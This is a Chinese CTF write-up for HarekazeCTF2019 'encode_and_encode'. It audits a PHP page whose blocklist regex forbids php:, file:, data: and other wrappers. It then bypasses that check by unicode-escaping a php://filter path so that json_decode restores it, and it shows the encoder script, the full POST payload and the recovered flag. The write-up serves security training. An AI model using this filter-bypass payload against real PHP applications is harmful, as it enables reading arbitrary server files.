[HarekazeCTF2019]encode_and_encode
参考:
[HarekazeCTF2019]encode_and_encode-CSDN博客
文件包含&PHP伪协议利用_-CSDN博客
场景:

点击source code查看源码:

代码审计:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ '\.\.', '(php|file|glob|data|tp|zip|zlib|phar):', 'flag' ];
$regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);
|
分析:
1 2 3 4 5 6 7
| 这里要利用的危险代码为file_get_contents($page);所以是利用了file_get_contents()函数的漏洞,可以利用php伪协议(php://filter)获取文件数据流,然后通过file_get_contents()获取打开的文件数据流传递给相应的参数: file_get_contents('php://filter/read=convert.base64-encode/resource=文件路径')
但是这里过滤了php,所以不能直接传伪协议,题目只对$body变量进行过滤,没有对$json数据进行过滤,这就可以使用unicode编码进行绕过,这是因为存在json_decode()可以解析unicode编码内容: $json['page']='php://filter/read=convert.base64-encode/resource=文件路径' => $body={'page':unicode('php://filter/read=convert.base64-encode/resource=文件路径')}
|
unicode编码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php function unicodeEncrypt($str) { $result = ''; $length = mb_strlen($str); for ($i = 0; $i < $length; $i++) { $char = mb_substr($str, $i, 1); $result .= '\u' . strtoupper(bin2hex(mb_convert_encoding($char, 'UTF-16BE', 'UTF-8'))); } return $result; }
$text = "php://filter/read=convert.base64-encode/resource=/flag"; $encryptedText = unicodeEncrypt($text); echo $encryptedText; ?>
|
输出:
1
| \u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067
|
构造payload:
1 2 3 4 5
| POST: Content-Type: application/json { "page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0072\u0065\u0061\u0064\u003D\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067" }
|

1
| {"content":"ZmxhZ3swYjY3ZmRjMS04ZThjLTQxMWUtOTZlNy1hNjA2ZmMzOWFkM2N9Cg=="}
|
解码:

1
| flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}
|
flag=flag{0b67fdc1-8e8c-411e-96e7-a606fc39ad3c}